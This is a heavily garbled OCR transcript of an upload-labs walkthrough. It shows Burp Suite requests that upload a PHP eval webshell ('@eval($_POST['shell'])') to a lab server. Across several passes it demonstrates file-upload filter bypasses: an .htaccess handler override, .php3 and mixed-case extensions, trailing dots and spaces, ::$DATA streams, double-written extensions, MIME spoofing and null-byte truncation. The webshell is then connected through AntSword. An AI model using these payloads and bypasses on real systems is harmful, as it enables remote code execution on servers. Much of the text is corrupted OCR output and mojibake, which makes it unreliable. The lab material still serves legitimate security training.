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3 @ HackBar () =E= sHE DBERE Qe NRE () eteEs Ors O &R FEEEE B WBES @ Max HackBar g) - X
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<html> [event PE - -
» <head> (= </head
- <oedy> EB prE— BE— 1t (Flex) BERTELIES,
» <div id="head">= </div> .
v <dis in" style="min-height: 182px;"> ol O { Bl
N S list-style: b none;
<adv 2d-"menu’ v </div> L FE B CSS 1S
¥ <div id="upload_panel">
- <ol> 4EA body v 2R
b li> /18> body €+ {
v<lix font-family: Lato, "Helvetica Neue", Helvetica, Arial, "Microsoft vahei",
::marker WAIER, sans-serif; margin o
<n3> HER ¢ /n3> O
w15 e
1104.97x77.9333 | o e
@
<input class="input_file" type-"file" name-"upload_file"» 4z > @{E&yj O
o HHEIR 9True s
<input class="button" type="submit" name="submit" value="_t
i’ 110497779333 static
</p>
</Forms - BEREE
b <div id="msg">(= ¢/div> box-sizing content-box
» <div id="img">(= ¢/div> display block
e v float
html > body » divémain » div#upload panel > ol > Ii » form line-height %)
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Burp Project Intruder Repeater Window Help

Dashboard | Target | Provy | Intruder RepeaterISequencer Decoder cumparerIatenderhm}ecmmmnsIuserupuuns}

Intercept HWPmsmryIWebSackets history | Options

¢/ Request ta hitp:/hwww.server.cn:80 [192.168.136.130]

Forward Drop [Tinterceptis on | Action Comme o W @

Raw | Params | Headers | Hex

POST /upload-Labs/Pass-03/index.php HTTP/1.L 1
2 Host: www.server.cn r
Ussr-Agent: Mozilla/S.0 (Windows NT 10.0; Winéd: xE4; rv:82.0) Gecko/2010010L Firefox/82.0
Accepe: text/heml,application/xheml4xml, application/sml;q=0.9, image/webp, */ *;q=0.8
Aecept-Language: zh-Cl, zh;q=0.8, Zh-TV; q=0.7, zh-HK; q=0.5, en-US; q=0.3 , en; q=0.2
¢ Accept-Encoding: gzip, deflate
7 Content-Type: multipart/form-data: boundary= 38227784851 1680012252 12872653
¢ Content-Length: 405
© Origin: DEtp://www.server.cn
10 Commection: close
11 Referer: http://wwv.server.cn/upload-labs/Pass-03/1index.php
12 Cockis: PHPSESSID=dcShl04462hc4cofl506430090a61492
15 Upgrade-Insecure-Requests: |
—————— 7784851 168008
Content-Disposition: form-data; name="upload file"
7 Content-Type: application/octet-stream
25 fcrpnp phpineo(): Beval(s_PoSTO she1l')y; 2> ]
2 - 38227784651 16800612232 12872653
2 content-Disposifflon: form-data; name="submic"
————————————— 38227784651 1£800 12232 12872653~
A .
& pkphp3
—BEARS
i
© el O macchs
@ &3 upload-labs X | phpinfo() X |+ = O x
| Antsword 3B ®O L 127.
= [CARNORFCA v scrver.cn/upload-labs/uploac S IEELERINNEICR A SN VAN (N S T
e ==
~
bR PHP Version 5.2.17 php
= BIEEE (0) W 52EER (1)
URLHE TPt o RIRERHE) EELE ©#m System Windows NT COUNTERFLOW 5.2 build 3790
D B Build Date Jan 6 2011 17:26:08
Configure cscript /nologo configure.js “-—-enable-snapshot-build™ *--enable-debug-pack™ "
Command ith- pshot- pl :\php-sdk\snap_5 " "—-with-php-
il \php-sdk! p 5 ¢ P lild” "--with-pdo-oci=D:\php-
sdK\oracle\instantclient10\sdk,shared D:\php-sdk\oracle
M EER _ox 10\sdk,shared™ “--without-pi3web’
Server API Apache 2.4 Handler - Apache Lounge
OFm % AE Virtual Directory | enabled
T Support
B 2ues h Configuration File | CAWINDOWS
(php.in) Path
URLHtHE * http://wuiw. server.cn/upload-labs/upload/202101282234261449.php3 I;oaded ol C:\phpstudy\PHPTutorial\php\php-5.2.17\php.ini
ile
EEES © and Scan this dir for | (none)
s additional .ini
Pl & files
. additional .ini (none)
FPieR UTF8 v files parsed
EfEsm PHP - PHP APl 20041225
PHP Extension 20060613
Zend i 220060519
< default (FifE3) Debug Build no
a - Thread Safety enabled
random (7
(F#%) Zend Memory enabled
baseG4 ; Manager
1Pv6 Support enabled
2 BkfEL ~ Registered PHP | php, file, data, http, ftp, compress.zlib, compress.bzip2, zip
e Streams
~
RS Registered tcp, udp
Stream Socket
Transports
Registered convert.iconv., string.rot13, string.toupper, string.tolower, string.strip_tags,
Stream Filters convert.#, consumed, zlib.%, bzip2*
‘This program makes use of the Zend Scripting Language Engine: _\P‘f“'“’ By v
< >

if (isset($_POST[

if (file_exists(UPLOAD_PATH)) {
$deny_ext = array( 5
$file _name = trim($_FILES[

1.2: 7543 F1 A htaccess 3 #3 ff fupload 3 e h (45 S #: # 4 blphplyJ7 Rt 77 T B Ashell php 5 484 B
Hishell.png, B4 fR% 3824 shell.png BAphp 77 k47 @
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2% 4 B ml FI) A T H kgetshell

.htaccess XN :

SetHandler application/x-httpd-php
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[ Dashboard ITarget Tmey T Intruder T Repeater I Sequencer T Decoder I Comparer T Extender T Project options I User options }

Intercept | HTTP history IWehSOckets history | Options

4/ Request to http:flwww.server.cn:80 [192.168.136.130]

| Fowad || Dop || interceptison | | Aaction

Raw | Params | Headers | Hex

POST /upload-labs/Pass-04/index. php?action=show_code HTTE/L. 1
Host: wuw.server.cn

Ussr-Agent: Kozilla/5.0 (Windows NT 10.0; Vinfd; x€4; zv
Accept: text/html,application/xhtml+xml, application/xml;
Accept-Languags: zh-Cl, zh; q=0.8, 2h-TV; g=0.7, 2h-HK; g=0.5, =a-
Accept-Encoding: gzip, deflate

Content-Typs: multipart/
Content-Length: 358
Origin: http://wwe.ssrver.cn

10 Conmection: close

Referer: htep://waw.server.cn/upload-labs/Pass-04/index.phplaction=show_code]
Cookie: PHPSESSID=dcSh204462bc4cSt1S96430098a61452
Upgrade-Insscurs-Requests: 1

.0) G=cko/20100101 Firefox/82.0
9, image/webp, */
jg=0.3,=n;q=0.2

i houndary= 12812£0882£014900405LE3 E4600

281260882 6014800405 1E3 64200
Content-Disposition: form-cata; name="upload_file”; filenamef"shell.pno’|
Content-Type: application/cctet-stream

<7php phpinfo(): Beval(§_POST['shell']): 2>

2812 608826014500405 16364600
form-data; name="submic"

12812 60882£014900405LE3 E4600-~
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URLE 3 Pt HEEHE SR
O EhEg e
© Fm x BT i
B EaifE v
URLHtE * et/ /www.server.cn/upload-labs/uploa
ERER ¢ cmd
i3
FPieR UTF8 v
ERAR PHP v
HHSE
(=) default (F3E3)
© random ()
O basebt .
. EkES ~
o Hinig® ~

W 53EER (1)
©iFm A Ei s
O BRiA 2

& upload-labs X | phpinfoQ x |+ = O X
G © #Z www.server.cn/uplo 0% | v N & g »
~
System 'Windows NT COUNTERFLOW 5.2 build 3790
Build Date Jan 6 2011 17:26:08
Configure cscript /nologo configure,js "—enable-snapshot-build” "—enable-debug-pack” "
Command jith- hot- pl A\php-sdk\ " *-—-with-php-
ild=d:\php-sdk\snap 5 : Aphp-
sdk\oracle\instantclient10\sdk,shared” ith-oci8=D:\php-sdk\oracle
it ient10\sdk,shared” "--without-pi3web”
Server AP Apache 2.4 Handler - Apache Lounge
Virtual Directory |enabled
Support
Configuration File | C\WINDOWS
(php.ini) Path
Loaded Ci\phpstudy\PHPTutorial\php\php-5.2.17\php.ini
C ion File
Scan this dir for | (none)
additional .ini
files
additional .ini (none)
files parsed
PHP API 20041225
PHP i 20060613
Zend i 220060519
Debug Build no
Thread Safety enabled
Zend Memory enabled
Manager
1Pv6 Support enabled
Registered PHP | php, file, data, http, ftp, compress.zlib, compress.bzip2, 7ip
Streams
Registered tcp, udp
Stream Socket
Transports
Registered converticonv.?, string.rot13, string.toupper, string.tolower, string.strip_tags,
Stream Filters convert#, consumed, zlib.*, bzip2.*
[ This program makes use of the Zend Scripting Language Engine: I coversdEy v
>
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Burp Project Intruder Repeater Window Help

Dashboard | Target [ Froxy | Intruder RepeaterISequencer Decoder CompsrerTExtenderTF’mJect options Iuseropmns}

Intercept, HWPmmﬂwEnsDckets history | Options

4/ Request to http:flwww.server.cn:80 [192.168.136.130]

Forward Drop. | Interceptis on | Action

Raw | Params | Headers | Hex

1 POST /upload-labs/Pass-05/ index. php2action=show_code HTTE/L. 1

2 Host: wuw.server.cn
3 User-Agent: Mozilla/5.0 (Windews NT 10.0; Vinéd; x€4; rv:i82.0) Gecko/2010010L Firefox/82.0
Accept: text/html,application/xhtml+xml,application/sm 9, image/webp, */ -

Accept-Language: zh-Cl, zh; q=0.8, 2h-TV; g=0.7, 2h-HK; q=0.5, =n-
€ dccept-Encoding: gzip, deflate

Content-Typs: multipart/
Content-Length: 358

S Origin: httpi//wew.server.cn

10 Connection: close

Referer: htep://waw.server.cn/upload-labs/Pass-05/index.phplaction=show_code
Cookie: PHPSESSID=dcSh204462bc4cSt1S96430098a61492

13 Upgrads-Insscurs-Requests: 1

i9=0.3,=n;q=0.2)

i houndary= 21006277296410351871406297

7777777777777777777777777777 92 100£2772864 103 51871406287
Content-Disposition: form-cata; name="upload_file"; file
Content-Type: application/cctet-stream

<7php phpinfo(): Beval(§_POST['shell']):

99210082772064 103 51871406297
form-data; name="submic"

9910062772964 103 51871406287~

o BEE

%) AR

X | phpinfoQ X

Antsword #38 BO B
I 9% e fy X IN €
4 »
sieE P Version 5.2.17
HIEEE (0) W 52ER (1) >
URLHAE [Pt RIRREE FERHE O Etem Windows NT COUNTERFLOW 5.2 build 3790
D B © [1dDate Jan 6 2011 17:26:08
infigure cscript /nologo configure.js “-—-enable-snapshot-build” "--enable-debug-pack™ "
s ymmand fith pshot- pl \php-sdk [ “ "—-with-php-
[ FhdE -ox ild=d:\php-sdk\snap 5 : php_build" *--with-pdo-oci=DA\php-
" e sdK\eracle\instantclient10\sdk,shared" "--with-oci8=D:\php-sdk\oracle
OFMm X EET i ient10\sdk,shared” "--without-pi3web”
N fver AP che 2.4 Handler - Apache Lounge
B REEE v G E Z
ftual Directory |enabled
pport
URLitLAE * http://www.server.cn/upload-labs/uploa Infiguration File | CAWINDOWS
. hp.ini) Path
EEES© omd C\phpstudy\PHPTutorial\php\php-5.2.T7\php.ini
P
(none)
RERE UTF8 v
i3] PHP v (none)
P API 20041225
%) default (T1E%) 4 20060613
X nd i 220060519
random (T4#%) bug Build no
basetd fread Safety | enabled
Ind Memory enabled
R ERER - Bnager
& HitRE ” 6 Support enabled
lgistered PHP | php, file, data, http, ftp, compress.zlib, compress.bzip2, zip
feams
\gistered tep, udp
ream Socket
ansports
lgistered converticonv.*, string.rot13, string.toupper, string.tolower, string.strip_tags,
‘ ream Filters convert.r, consumed, zlib.*, bzip2.*
Il is program makes use of the Zend Scripting Language Engine: By

+ .

127.

T

»




if (isset($_POST[ 1) {

if (file_exists(UPLOAD_PATH)) {
$deny ext
$file name = trim($_FILES[
$file name = deldot($file name);
$file ext strrchr($file_name, )
$file ext str_ireplace( 5 , $file ext);
$file _ext = trim($file ext);

if (!in_array($file ext, $deny ext)) {

} else {

3: FOXRERGN

3.1: WIRESAHTAN, BABARERITHESHETLOE, FILEEXFAEKETE.
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Burp Project Intruder Repeater Window Help

Dashboard | Target | Provy | Intruder RepealerISequencer Decoder ComparerIatenaerhmjecmmnsIUseromns}

J Intercept I HTTP history TWehSockets history I Options }

7 Request to http:/fwww server cn'80 [192.168.136.130]

Forward Drop | Interceptis on | Action Comment &

Raw | Params | Headers | Hex

1 POST /upload-labs/Pass-06/ index.php?action=show_code HTTE/L. 1 x
B r
Kozilla/5.0 (Windows NT 10.0; WViné4: x€4; Iv: .0) Gecko/2010010L Firefox/&:
4 Accept: text/html,application/xhtml4xml,application/xml;q=0.9, image/webp, */*; q=0.8|
S Accept-Language: zh-CN, zh;q=0.8, zh-TV; q-0.7, zh-HK; q=0.5, en-US;q=0.3, en; q=0.2
© Aecspt-Encoding: geip, deflate
7 Content-Type: multipart/form-data; boundary=—--—--———=—=—=————————————— 3€597827518497196963933001640
Content-Length: 402
S Origin: http://wwW.server.cn
10 Commeetion: closs
Referer: http://wew.server.cn/upload-labs/Pass-06/index.php?action=show_code
Coclis: PHPSESSID=cleSh2044£0bo4cCt 15664300888 1452
Upgrade-TInsecure-Requests: 1
--3€597827518497196963933001640
Content-Disposition: form-data; name="upload file®; £ilenan
17 Content-Type: application/octet-stream
15 <?php phpinfo(); Beval(§_POST['shell']);
77777777777777777777777 3659782751849719€9€3933001¢640
Content-Disposition: form-data; name="submic”
L
77777777777777777777777 3659782751849719€9€3933001640--
.Y
0 matches
& REWS x 8 % | phpinfo() x |+ - o X
Antsword £ EO B 127, 0|
1 90% o N € B » =
4 » |
~
sig P Version 5.2.17 php
HIEEE (0) W 52ER (1) >
URLHRE Pt . RIEEEE A © & Stem Windows NT COUNTERFLOW 5.2 build 3790 |
0 Bhif 42 ild Date Jan 6 2011 17:26:08
nfigure cscript /nologo configure.js "—enable-snapshot-build” *--enable-debug-pack™
. jmmand with-snapshot-template=d:\php-sdk\snap_5_2\vc6\86\template” "~-with-php-
O FE -O% build=d:\php-sdkisnap_5_2\vc6\x86\php_build" *--with-pdo-oci=D:\php-
. e sdk\oracle\instantclient10\sdk,shared" "--with-oci8=D:\php-sdk\oracle
©Fm X BT \instantclient10\sdk shared” "—without-pi3web”
B EaRE " rver AP| Apache 2.4 Handler - Apache Lounge
ftual Directory | enabled
pport
URLHtHE * http://wwu.server.cn/upload-labs/upload/202101282307594598.php Infiguration File | CAWINDOWS
_ hp.ini) Path
EEES© omd Eded C\phpstudy\PHPTutorial\php\php-5.2.T7\php.ini
3 = e
PIAE L
(none)
RERE UTF8 v
g PHP v (none)
P API 20041225
) default (%) P i 20060613
X nd i 220060519
random (T4#%) bug Build no
basetd fread Safety | enabled
Ind Memory enabled
R ERER » Bnager
& HitRE ” 6 Support enabled
lgistered PHP | php, file, data, http, ftp, compress.zlib, compress.bzip2, zip
feams
\gistered tep, udp
feam Socket
ansports
\gistered convert.iconv.*, string.rot13, string.toupper, string.tolower, string.strip_tags,
ream Filters convert.r, consumed, zlib.*, bzip2.*
Il is program makes use of the Zend Scripting Language Engine: e Peed By v
bl




if (isset($_POST[ 1) {
if (file_exists(UPLOAD_PATH)) {
$deny ext
$file name = $ FILES[ 10
$file name = deldot($file name);
$file ext strrchr($file_name, );
$file ext strtolower($file ext);
$file ext str_ireplace( 5 , $file ext);

if (!in_array($file ext, $deny ext)) {

} else {

4: BIREIBETUKFIRM A ESN

4.1: WETREFEHE AL, BA BALBERET TR, FHLE7RMH A% .



Temporary P
Burp Project Intruder Repeater Window Help

[ Dashboard ITarget I Proxy I Intruder I Repeater I Sequencer I Decoder I Comparer I Extender I Project options I User options

J Intercept I HTTP history IWebSockets history I Options ]

/ Request to http2/fwww_server.cn:80 [192.168.136.130]

l

J | Intercept is on | Action

Forward J l Drop

Raw | Params | Headers | Hex

1 POST /upload-labs/Pass-07/index.php?action=show_code HTTP/1.1
2 Host: wWWW.Server.cn
3 User-Agent: Mozilla/5.0

5 Accept-Language: zh-CN, zh;q=0.8, zh-TW; q=0.7, zh-HE;q=0.5,2n-U3;q=0.3,en; =0.2
Aecept-Encoding: gzip, deflate
Content-Type: multipart/form—data; boundary=
Content-Length: 3599

¢ Origin: http://www.server.cn

Connection: close

Referer: http://www.server.cn/upload-labs/Pass-07/index.php?action=showv_code
Cookie: PHPSESSID=cdcShl04462kbod4cOf1596430098a61402
Upgrade-Insscure-Regquests: 1

128342507834135103 1268383504
Content-Disposition: form-data; nawe="upload file"; filenam
Content-Type: application/octet-stream

¢ <?php phpinfo(); Beval(§_POST['shell']); ?=

1Z2E342507834135103 1268383504
Content-Disposition: form-data: name="submit"

1ZE3425078341351031268383504-—

@

| A
K

ntSword B B[O i

BiRE
HIEEE (0) = $EER (1)
URLI3E IPdit alzEaE EAfETiE ©Em
DI BAS%
[ FoEde o (a3,
OFm % ET it 4
B 2aikE v
URLHLHE * | http://www.server.cn/upload-labs/upload/shell.php.
BEED > and
PIAE L
RRE UTF8 v
g PHP v
=) default (T 4E%)
random (ToHE%)
base64 -
RERES ~
o HiiRE ~

3 (Windows NT 10.0; Winé4; x€4; rv:82.0) Gecko/Z0100101 Firefux!ﬁ:.ﬂ
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp, "/ ";q=0.8

12E342507B834135103 1268383504

€3 upload-labs X | phpinfoQ x |+ - u]
o 127.
(SRR v server.cn/upload B ICEREE N T\ S
PHP Version 5.2.17 PhP
System \Windows NT COUNTERFLOW 5.2 build 3790
Build Date Jan 6 2011 17:26:08
Configure cscript /nologo configure,js *--enable-snapshot-build” “--enable-debug-pack” "
Command with-snapshot-template=d:\php-sdiisnap_5_2\vc6\x86\template” *--with-php-
build=d:\php-sdk\snap 5 2\vc6\x86\php_build" *—-with-pdo-oci=D:\php-
sdk\oracle\instantclient10\sdk,shared" “--with-oci8=D:\php-sdk\oracle
\instantclient10\sdk shared™ *--without-pi3web"
Server API | Apache 2.4 Handler - Apache Lounge
Virtual Directory |enabled
Support
Configuration File | C\WINDOWS
(php.ini) Path
Loaded C\phpstudy\PHPTutorial\php\php-5.2.17\php.ini
C File
Scan this dir for | (none)
additional .ini
files
additional .ini (none)
files parsed
PHP API 20041225
PHP 20060613
Zend 220060519
Debug Build no
Thread Safety enabled
Zend Memory enabled
Manager
IPv6 Support enabled
Registered PHP | php, file, data, hitp, ftp, compress.zlib, compress.bzip2, zip
Streams
istered tcp, udp
Stream Socket
Transports
Registered converticonv.*, string.rot13, string.toupper, string.tolower, string.strip_tags,
Stream Filters convert.*, consumed, zlib.*, bzip2.*

[This program makes use of the Zend Scripting Language Engine:

Powered By




if (isset($_POST[ D) {
if (file_exists(UPLOAD_PATH)) {
$deny ext = ..BZHEMHH
$file name = trim($_FILES[ 10
$file ext strrchr($file_name, )
$file ext strtolower($file ext);
$file ext str_ireplace( 5 , $file ext);
$file _ext = trim($file ext);

if (!in_array($file ext, $deny ext)) {

} else {

4.2: NHEOXRKEHE AL, TUMARERETRY, HAEFELCEFRFEPRE A, BRIUERS.
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Burp Project Intruder Repeater Window Help

[ Dashboard ITarget T Proxy I Intruder T Repeater I Sequencer I Decoder T Comparer I Extender I Project options I User options ]

J Intercept I HTTP history IWehSt}ckets history T Options ]

/ Request to http://www.server.cn:80 [192.168.136.130]

[ Forward J l Drop J [ Intercept is on ] Action

J Raw I Params T Headers I Hex ]

POST /upload-labs/Pass-09/index.php?action=show code HTTP/L.1

HosSt: WWW.Server.cn

5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:S82.0) Gecko/20l00101 Firefox/82.0
Aocept: text/html,application/xhtml+xml, application/xwl; q=0.9, image/webp, */ *;q=0.8]

5 Accept-Language: zh-CHN, zh;q=0.8, zh-TW;q=0.7, zh-HE:;q=0.5,en-U3;¢=0.3,en;=0.2

& Aceept-Encoding: gzip, deflate

£ Content-Length: 405

% Origin: http://www.server.cn

J Connection: close

Referer: http://www.server.cn/upload-labs/Pass-09/ index.phpraction=show_code
Cookie: PHPSESSID=dc5hIi0446Zbocdcff15964300588a81492
Tpgrade-Insecure-Regquests: 1

15989746 742083404 4494490845744
16 Content-Disposition: form-data; name="upload file";§ filename="shell.php. ." ]
17 Content-Type: application/octet-stream

<?php phpinfo(); Beval (§_POST['shesll']l); ?»

1589974£7420834044444001357425
Content-Disposition: form-data; namwme="submit'

1598597467420834044444001357425-~-

Content-Type: multipart/form-data: boundary=--—-—-— - —-—— ——-1599974£7420834044444001397425

script

g] = X
+ Z

%) REWS - O X & upload-labs X | phpinfo( x [+
AntSword 3B B|O B
= &> C O & wwwservercn/uploa 2 B (90%  ees|
o =
iRE
= HIEE® (0) B 5XEER Q1)
URLHeHE TPt e DUEERE A ©Fm A Bw
D B2
[z -O%
© Fm X BT M ER
B HaifE v
URLHLEE | hetps server.cn/upload-labs/upload/shell. php. rop—
P/ v server.cn/uploac-labs{ plosd/shell php | N @ HackBar ) =53 mala O Eds O N Rs
FEEED < cmd Qs ™ML
P4 i NF>LITAS/N>
HE L ¥ <form enctype="multipart/forn-data” method="post" onsubmit="return checkFile()">
svert
Eoisig UTF8 v <priBEEIEE HEMERN: /p>
- v<p
EERE PHP A <input class="input_file" type="file" name="upload file">
-]
<input class="button" type="submit” name="submit"” value="_{£">
) default (T4§35) </p>
</form>
) random (- 1E3%) ><a? id=""
O baset4 .
R ERER PN /11>
. ¥ <1i id="show_code"»"= </1i>
o Hibigs A </ol>
</div>
</divs
¥ <div id="footer">=</div>
div mask div
b <div dialog”> (=< /div
script ‘text/javascript /upload-labs/js/jquery.min.js
html > body > div#main > divéupload panel > ol > i > divéimg > img
Vi Bl #5 HEE BEX FH @\
chov ds + B @i




if (isset($_POST[ D) {
if (file_exists(UPLOAD_PATH)) {
$deny ext = ..BZHEMHH
$file name = trim($_FILES[
$file name = deldot($file name);
$file _ext = strrchr($file_name, )
$file _ext = strtolower($file ext);
$file _ext = str_ireplace( 5 , $file ext);
$file _ext = trim($file ext);

if (!in_array($file ext, $deny ext)) {

else {

5: $8X::$DATAZ T

5.1: M 8RR AT LR, 27 AL AR I RN SDATAREAT I 3, Bk vT AR A WindowSC I R ZENTF S 45
Kitirged. (BEERFSH[AREFRMNTIEEISEE KRR

V=B SOWN A ) B

X3 I 2 Windows TNTFSIHE R G — AME ik, BINTFSXXE R AR F B EER MK — AN B DATA B, BEiER a.asp
KGR, nHa.asp BEE T HAMKEIER, Hin a.asp:lake2.asp, &K a.asp:lake2.asp::$DATA, N& i Ka.aspH I £
lake2.aspMW BB A . CHhAMREREE, WEFRKERER S EARIFE T, HRETID

BRSEE: https://www.jianshu.com/p/b1a130902b4e
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Burp Project Intruder Repeater Window Help

[ Dashboard ITarget I Proxy I Intruder I Repeater T Sequencer I Decoder I Comparer I Extender T Project options T User options

J Intercept T HTTP history TWehSockets history I Options ]

/ Request to http:/fwww._server.cn:80 [192.168.136.130]

l Farward J [ Drop J [ Intercept is on ] Action

J RawT Params I Headers T Hex ]

1 POST /upload-labs/Pass-08/index.php?action=show_cods HTTP/Ll.1

Z Host: www.sServer.cn

User—-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4; x£4; rv:82.0) Gecko/2Z0Ll00101 Firefox/B2.0
Accept: text/html,application/xhtml+xml, application/xml;q=0.9, image/webp, */*;q=0.8
Aocept-Language: zh-CMN, zh;q=0.8, zh-TW;qg=0.7, 2h-HE;=0.5,en-US;qg=0.3,en;q=0.Z2

& Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=——————————-—--——————————————— 101505337117082989181135755088
2 Content-Length: 405

Origin: http://www.ssrver.cn

0 Connection: close

Referer: http://www.server.cn/upload-labs/Pass-08/ index.php?action=show_code
Upgrade-Insecure—-Eegquests: 1

————————————————————————————— 1015093371L17092999 181 15755092
5 Content-Disposition: form-data; name="upload files"; filename="shell.php::5DATA"
5 Content-Type: application/octet-stream

<?php phpinfo(); Beval (§_POST['shell']): 7>

————————————————————————————— 10150933711709295858181135755058E
Content-Disposition: form-data; name="submit"

10150893371170925895181135755088-—

& upload-labs X | phpinfoQ) x == = 3 X
P ¢ o gI.,.M.W_gerver.cn/up\oad—\abs,,/up\oad,rzozw0\292357008352.php ] ARt SDATARDE] BE ew L INE By €
~
»
790
m 5ZER (1) > papshot-build” "--enable-debug-pack” "--
e . o Bp_5_2\vcB\x86\template” "--with-php-
pyy O FEIEE o (=2 OFm  AE&A  @HE b puild *--with-pdo-oci=DA\php-
. F-with-ocig=D:\php-sdkoracle

OiFm xBT oY Ty 0 o Php:
B EaiE s v

URLiE * hitp:/fwww.server.cn/upload-labs/upload/202101292357008352.php

EEES ¢ emd

P& T\php.ini

ERiEE UTF8 v

i) PHP v

* default (FH%)
random (&%)
base64 .
| iEkES ~
of AR S ~
bmpress.bzip2, zip

e

|Registered |converticonv.#, string.rot13, string.toupper, string.tolower, string strip_tags, ¢




if (isset($_POST[ 1) {

if (file_exists(UPLOAD_PATH)) {
$deny ext
$file name = trim($_FILES[
$file name = deldot($file name);
$file ext strrchr($file_name, )
$file ext strtolower($file ext);
$file _ext = trim($file ext);

if (!in_array($file ext, $deny ext)) {

} else {

6: FIOKNWEFRA LT

6.1: 2HTEE10KKIVRIG AT LS AN, FRFPR5 i DU E B A S b i 75 B OB U 75 e, TRl T DU XU 5 R A8 SRk B 4%
AR, BlinphPHPp# #7475 8 JE AR T php-



% Burp Suite Professional v2020.1 - Tempor. roject - licensed to surferxyz

Burp Project Intruder Repeater Window Help

[ Dashboard ITarget I Proxy I Intruder I Repeater T Sequencer T Decoder I Comparer T Extender I Project options I User options

J Intercept T HTTP history T WebSockets history I Options ]

/ Request to http://www.server.cn:80 [192.168.136.130]

l Forward J l Drop J [ Intercept is on ] Action

J RawT Params T Headers I Hex ]

1 POST fupload-labs/Pass-10/index.php?action=show cods HTTP/1.1

2 Host: WWW.Server.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; x64; rv:52.0) Gecko/20100101 Firefox/82.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image,/webp, */*;cq=0.8

5 Accept-Language: zh-CH, zh;q=0.8, zh-TW;gq=0.7, zh-HE; q=0.5,en-U3;gq=0.3,en;qg=0.2

& Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=—-—-———————————————————————— 1158893511802 121955200921 1888
2 Content-Length: 405

9 Origin: http://www.server.cn

10 Connection: close

11 Referer: http://www.server.cn/upload-labs/Pass-10/index.php?action=show code

12 Upgrade-Insecure-Requests: L

14 ———————— 1156689351 1802 1219552 (RNSllE0
15 Content-Disposition: form-data; name="upload file"3 filename="shell.pphphp" ]
16 Content-Type: application/octet-stream

12 <?php phpinfo(); Beval (§_POST['shell']): 2=

0|-———————— L1156€893511B021219552009211898
1 Content-Disposition: form-data; name="submit"

@& upload-labs X | phpinfo X |+

C | @ & www.server.cn/upload-labs/upload/shell.php BqE 9 %

790
b 5XER (1) ? Bpshot-build" *--enable-debug-pack” "--
P! aFpE
=R -ox oFn | AEsE | @Bk
O©Fm % BT  MHER B 0 Fwith-ocig=D:\php-sdk\oracle
O B2 Q [t
B E/iE R v
URLHtHHE = http://www.server.cn/upload-labs/upload/shell.php
ERED ¢ emd
PG EE php.ini
wEIRE UTF8 v
s i) PHP v
) default (FHE%E)
) random (M3E%5)
) base64 -
R ERER &
o HitgE ~
L)
J ggﬁim! Impress.bzip2, zip
Streamsocket |

N @



if (file_exists(UPLOAD_PATH)) {
$deny_ext
$file name = trim($_FILES] 1L 1;

$file name str_ireplace($deny ext,"", $file name);

$temp_file = $ FILES] 10 115
$img_path = UPLOAD_PATH. .$file_name;

} else {

—. HEZHKTE
1: &k 58 % MIMELE .

1.1 8823, J5 U P A 1 SR Sk 6 MIME J& 4 B M T >R A Bt F = B4R iSO — B 9B . BRI A Burp Suite k&
M RequestH FIMIME J& 14 M 1 223 A

# Burp Suite Professional v2020.1 - Temporary Project - licensed to surferxyz

Burp Project Intruder Repeater Window Help

[ Dashboard TTarget T Proxy T Intruder T Repeater T Sequencer T Decoder T Comparer I Extender I Project options T User options

J Intercept I HTTP history IWehSockets history I Options ]

/ Request to http:/fwww.server.cn:80 [192.168.136.130]

[ Fonvard J l Drop J | Intercept is on | Action

J Raw T Params I Headers I Hex 1

1 POST /upload-labs/Pass-02/index.php?action=show cods HTTR/L.L
Host: wWwWw.Serwver.cn -
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4:; =€4; rv:82.0) Gecko/20100101 Firefox/B82.0
Aocept: text/htmwl, application/xhtml+uml, application/xml;c=0.9, image/webp, */ *;q=0.8
Aocept-Language: zh-CN, zh;qg=0.8, sh-TW;=0.7, sh-HK;q=0.5,en-US; =0.3,en; q=0.2
Aocept-Encoding: gzip, deflate
Content-Type: multipart/form-data; bhoundary=----———————————————————————— Z2EZ49E358539197669241661253€6828
= Content-Length: 405

S Origin: http://wvww.ssrver.cn
10 Connection: close
11 Referer: http://www.server.cn/upload-labs/Pass-02/index.php?action=show_cods
12 Upgrade-Insecure-RBequests: 1

oo

14 |——————— LEZ49E35853919766924166 1253628
S Content—Disposition: form-data; name="upload file"; filename="shell.php"
_E Content-Type: image/png ]

18 «?php phpinfo(): Beval(§ POST['shell']): 2=

20— 2E2409F35853919766924 1661253628
21 Content-Disposition: form-data; nams="submit"™

ZEZ49E635853919766924 1661253 628——

& upload-labs X | phpinfo() X |+

C v 4



»
]
24 E
N RiEERdE 2 hot-build" "--enable-debug-pack" "--
O FiEE -0x © m 5_2\vce\x86\template” "—with-php-
" T T uild" "--with-pdo-oci=D:\php-
© A LaRCES I M 0 Bih e Q th-oci8=D\php-sdk\oracle
b"

B EalFEn ” ve

URLHHE * http://www.server.cn/upload-labs/upload/shell.php

BT - cmd

PRt hp.ini

REBE UTF8 v

pod i) PHP v

*) default (T3
random (T 3E3F)
base64 -
B EREL ~
o HAtigH ~
|
3 press.bzip2, zip

EAIRRS I, SERENIEETEE

if (isset($_POST[ 1)) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES[ 1C ($_FILES[
($_FILES[ 1[ ] ) A
$temp_file = $ FILES[ 10 15
$img_path = UPLOAD_PATH . . $_FILES[
if (move_uploaded_file($temp_file, $img path)) {

$is_upload = true;
} else {
$msg

1
I

} else {
$msg

}
} else {

$msg = UPLOAD_PATH.

2: FREBH

2.1: HEWEIFR SRS RATRRR, PRSP E T R A TR HINECIES I 7"
abc\0123", HEF MR TR0, BN TR LIRS N LR ELEH, R& TR H 4" abc\0". EH11AI12%
HELR AR Iz, BT R DL T AT TR .



Tip:
TEXFRF, Fitphp-infic & X4 imagic_quotes_gpcE e fOff 7 7l BT Z R & Wi FI F . magic_quotes_gpcfEOn I 1E i
T, JEumk 2305 B 2 5B %00 LA R OxX00# 178 X, SETIEH AT R8T .

SRR https://www.cnblogs.com/timelesszhuang/p/3726736.html

22: FEH+—XKH, Burp SuitedMBURSCATHIE, FIZEAERIEN Get)y LB HIEN), B b EHAE url 317 8T .


https://www.cnblogs.com/timelesszhuang/p/3726736.html

